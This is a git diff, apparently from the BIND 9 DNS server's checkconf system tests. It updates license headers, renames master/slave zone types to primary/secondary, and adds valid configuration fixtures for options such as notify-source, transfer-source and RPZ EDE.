@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-minncachettl.conf b/bin/tests/system/checkconf/good-minncachettl.conf
index 6bfc663f73..3e4101b4f8 100644
--- a/bin/tests/system/checkconf/good-minncachettl.conf
+++ b/bin/tests/system/checkconf/good-minncachettl.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-mirror-inherited-notify-yes.conf b/bin/tests/system/checkconf/good-mirror-inherited-notify-yes.conf
index 241a77ca0c..09bbf94a0d 100644
--- a/bin/tests/system/checkconf/good-mirror-inherited-notify-yes.conf
+++ b/bin/tests/system/checkconf/good-mirror-inherited-notify-yes.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-mirror-root-zone-without-masters.conf b/bin/tests/system/checkconf/good-mirror-root-zone-without-masters.conf
index 1b7a1cdd6f..9723b7abaf 100644
--- a/bin/tests/system/checkconf/good-mirror-root-zone-without-masters.conf
+++ b/bin/tests/system/checkconf/good-mirror-root-zone-without-masters.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-nested.conf b/bin/tests/system/checkconf/good-nested.conf
index 4523b40108..12a027c095 100644
--- a/bin/tests/system/checkconf/good-nested.conf
+++ b/bin/tests/system/checkconf/good-nested.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-notify-source-v6.conf b/bin/tests/system/checkconf/good-notify-source-v6.conf
new file mode 100644
index 0000000000..797f966c4f
--- /dev/null
+++ b/bin/tests/system/checkconf/good-notify-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	notify-source-v6 fd92:7065:b8e:ffff::1;
+};
diff --git a/bin/tests/system/checkconf/good-notify-source.conf b/bin/tests/system/checkconf/good-notify-source.conf
new file mode 100644
index 0000000000..6b97314149
--- /dev/null
+++ b/bin/tests/system/checkconf/good-notify-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	notify-source 10.53.0.1;
+};
diff --git a/bin/tests/system/checkconf/good-options-also-notify.conf b/bin/tests/system/checkconf/good-options-also-notify.conf
index fcb01638d9..e10403db57 100644
--- a/bin/tests/system/checkconf/good-options-also-notify.conf
+++ b/bin/tests/system/checkconf/good-options-also-notify.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,7 +16,7 @@ options {
 };
 
 zone "example.net" {
-	type slave;
+	type secondary;
 	notify no;
-	masters { 192.168.1.1; };
+	primaries { 192.168.1.1; };
 };
diff --git a/bin/tests/system/checkconf/good-parental-source-v6.conf b/bin/tests/system/checkconf/good-parental-source-v6.conf
new file mode 100644
index 0000000000..fe998f101c
--- /dev/null
+++ b/bin/tests/system/checkconf/good-parental-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	parental-source-v6 fd92:7065:b8e:ffff::1;
+};
diff --git a/bin/tests/system/checkconf/good-parental-source.conf b/bin/tests/system/checkconf/good-parental-source.conf
new file mode 100644
index 0000000000..e45856a9ef
--- /dev/null
+++ b/bin/tests/system/checkconf/good-parental-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	parental-source 10.53.0.1;
+};
diff --git a/bin/tests/system/checkconf/good-printtime.conf b/bin/tests/system/checkconf/good-printtime.conf
index deff1d878a..06bb7beece 100644
--- a/bin/tests/system/checkconf/good-printtime.conf
+++ b/bin/tests/system/checkconf/good-printtime.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-response-dot.conf b/bin/tests/system/checkconf/good-response-dot.conf
index 68e511f9be..f21daeb193 100644
--- a/bin/tests/system/checkconf/good-response-dot.conf
+++ b/bin/tests/system/checkconf/good-response-dot.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com." {
-	type master;
+	type primary;
 	file "example.com.zone";
 };
 
diff --git a/bin/tests/system/checkconf/good-rpz-ede-none.conf b/bin/tests/system/checkconf/good-rpz-ede-none.conf
new file mode 100644
index 0000000000..c0ffab91e2
--- /dev/null
+++ b/bin/tests/system/checkconf/good-rpz-ede-none.conf
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com." {
+	type primary;
+	file "example.com.zone";
+};
+
+options {
+	response-policy {
+		zone "example.com." ede none;
+	};
+};
diff --git a/bin/tests/system/checkconf/good-rpz-ede.conf b/bin/tests/system/checkconf/good-rpz-ede.conf
new file mode 100644
index 0000000000..616f9ee63e
--- /dev/null
+++ b/bin/tests/system/checkconf/good-rpz-ede.conf
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone "example.com." {
+	type primary;
+	file "example.com.zone";
+};
+
+options {
+	response-policy {
+		zone "example.com." ede filtered;
+	};
+};
diff --git a/bin/tests/system/checkconf/good-rpz-ttl.conf b/bin/tests/system/checkconf/good-rpz-ttl.conf
index 96d09a9b85..26d41bbea3 100644
--- a/bin/tests/system/checkconf/good-rpz-ttl.conf
+++ b/bin/tests/system/checkconf/good-rpz-ttl.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com." {
-	type master;
+	type primary;
 	file "example.com.zone";
 };
 
diff --git a/bin/tests/system/checkconf/good-rpz-update.conf b/bin/tests/system/checkconf/good-rpz-update.conf
index 188b559f48..34b3ec5cdb 100644
--- a/bin/tests/system/checkconf/good-rpz-update.conf
+++ b/bin/tests/system/checkconf/good-rpz-update.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com." {
-	type master;
+	type primary;
 	file "example.com.zone";
 };
 
diff --git a/bin/tests/system/checkconf/good-rrset-order-none.conf b/bin/tests/system/checkconf/good-rrset-order-none.conf
index afd0ab660b..f0818ca630 100644
--- a/bin/tests/system/checkconf/good-rrset-order-none.conf
+++ b/bin/tests/system/checkconf/good-rrset-order-none.conf
@@ -1,3 +1,16 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
 options {
 	rrset-order {
 		order none;
diff --git a/bin/tests/system/checkconf/good-server-christmas-tree.conf.in b/bin/tests/system/checkconf/good-server-christmas-tree.conf.in
new file mode 100644
index 0000000000..f619913bee
--- /dev/null
+++ b/bin/tests/system/checkconf/good-server-christmas-tree.conf.in
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+key example {
+	algorithm hmac-sha256;
+	secret "aaaaaaaaaaaaaaaaaaaaaaaa";
+};
+
+server 0.0.0.0 {
+	bogus no;
+	edns no;
+	edns-udp-size 512;
+	edns-version 0;
+	keys example;
+	max-udp-size 512;
+	notify-source 0.0.0.0;
+	padding 512;
+	provide-ixfr no;
+	query-source 0.0.0.0;
+	request-expire no;
+	request-ixfr no;
+	request-nsid no;
+	require-cookie no;
+	send-cookie no;
+	tcp-keepalive no;
+	tcp-only no;
+	transfer-format one-answer;
+	transfer-source 0.0.0.0;
+	transfers 1;
+};
+
+server :: {
+	bogus no;
+	edns no;
+	edns-udp-size 512;
+	edns-version 0;
+	keys example;
+	max-udp-size 512;
+	notify-source-v6 ::;
+	padding 512;
+	provide-ixfr no;
+	query-source-v6 ::;
+	request-expire no;
+	request-ixfr no;
+	request-nsid no;
+	require-cookie no;
+	send-cookie no;
+	tcp-keepalive no;
+	tcp-only no;
+	transfer-format one-answer;
+	transfer-source-v6 ::;
+	transfers 1;
+};
diff --git a/bin/tests/system/checkconf/good-sig-signing-type.conf b/bin/tests/system/checkconf/good-sig-signing-type.conf
new file mode 100644
index 0000000000..dda1b73303
--- /dev/null
+++ b/bin/tests/system/checkconf/good-sig-signing-type.conf
@@ -0,0 +1,18 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+zone example {
+	type primary;
+	file "example.db";
+	sig-signing-type 65280;
+};
diff --git a/bin/tests/system/checkconf/good-static-ds.conf b/bin/tests/system/checkconf/good-static-ds.conf
index dcb59d4ed1..be7412ac60 100644
--- a/bin/tests/system/checkconf/good-static-ds.conf
+++ b/bin/tests/system/checkconf/good-static-ds.conf
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/checkconf/good-transfer-source-v6.conf b/bin/tests/system/checkconf/good-transfer-source-v6.conf
new file mode 100644
index 0000000000..0527b85395
--- /dev/null
+++ b/bin/tests/system/checkconf/good-transfer-source-v6.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	transfer-source-v6 fd92:7065:b8e:ffff::1;
+};
diff --git a/bin/tests/system/checkconf/good-transfer-source.conf b/bin/tests/system/checkconf/good-transfer-source.conf
new file mode 100644
index 0000000000..df23d1cb53
--- /dev/null
+++ b/bin/tests/system/checkconf/good-transfer-source.conf
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	port 5300;
+};
+
+zone example {
+	type secondary;
+	primaries { 1.2.3.4; };
+	transfer-source 10.53.0.1;
+};
diff --git a/bin/tests/system/checkconf/good-update-policy1.conf b/bin/tests/system/checkconf/good-update-policy1.conf
index 8d345186bc..b312590d37 100644
--- a/bin/tests/system/checkconf/good-update-policy1.conf
+++ b/bin/tests/system/checkconf/good-update-policy1.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * self * TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy10.conf b/bin/tests/system/checkconf/good-update-policy10.conf
index 60bea6b56f..360583496c 100644
--- a/bin/tests/system/checkconf/good-update-policy10.conf
+++ b/bin/tests/system/checkconf/good-update-policy10.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * krb5-subdomain . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy11.conf b/bin/tests/system/checkconf/good-update-policy11.conf
index ba6f396f5b..92be3400d0 100644
--- a/bin/tests/system/checkconf/good-update-policy11.conf
+++ b/bin/tests/system/checkconf/good-update-policy11.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * tcp-self . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy12.conf b/bin/tests/system/checkconf/good-update-policy12.conf
index 09bd926a4c..b76e5831ba 100644
--- a/bin/tests/system/checkconf/good-update-policy12.conf
+++ b/bin/tests/system/checkconf/good-update-policy12.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * 6to4-self . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy13.conf b/bin/tests/system/checkconf/good-update-policy13.conf
index e67e01f319..e0030e8503 100644
--- a/bin/tests/system/checkconf/good-update-policy13.conf
+++ b/bin/tests/system/checkconf/good-update-policy13.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * tcp-self . ptr(1);
diff --git a/bin/tests/system/checkconf/good-update-policy2.conf b/bin/tests/system/checkconf/good-update-policy2.conf
index 5b453e7307..9af4d8a152 100644
--- a/bin/tests/system/checkconf/good-update-policy2.conf
+++ b/bin/tests/system/checkconf/good-update-policy2.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * self . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy3.conf b/bin/tests/system/checkconf/good-update-policy3.conf
index 3f4cef24ab..2d4f8ee6c6 100644
--- a/bin/tests/system/checkconf/good-update-policy3.conf
+++ b/bin/tests/system/checkconf/good-update-policy3.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfsub . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy4.conf b/bin/tests/system/checkconf/good-update-policy4.conf
index a3ef5343a3..480ec5e5ed 100644
--- a/bin/tests/system/checkconf/good-update-policy4.conf
+++ b/bin/tests/system/checkconf/good-update-policy4.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfsub * TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy5.conf b/bin/tests/system/checkconf/good-update-policy5.conf
index 1f70f0c2f6..561918874e 100644
--- a/bin/tests/system/checkconf/good-update-policy5.conf
+++ b/bin/tests/system/checkconf/good-update-policy5.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfwild * TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy6.conf b/bin/tests/system/checkconf/good-update-policy6.conf
index ac43c48dda..7e9d8c0abd 100644
--- a/bin/tests/system/checkconf/good-update-policy6.conf
+++ b/bin/tests/system/checkconf/good-update-policy6.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * selfwild . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy7.conf b/bin/tests/system/checkconf/good-update-policy7.conf
index 96431a3e49..8b0b821812 100644
--- a/bin/tests/system/checkconf/good-update-policy7.conf
+++ b/bin/tests/system/checkconf/good-update-policy7.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * krb5-self . TXT;
diff --git a/bin/tests/system/checkconf/good-update-policy8.conf b/bin/tests/system/checkconf/good-update-policy8.conf
index cd33559dda..b00e8c4786 100644
--- a/bin/tests/system/checkconf/good-update-policy8.conf
+++ b/bin/tests/system/checkconf/good-update-policy8.conf
@@ -1,16 +1,18 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
 zone "example.com" {
-	type master;
+	type primary;
 	file "example.com.db";
 	update-policy {
 		grant * ms-self . TXT;
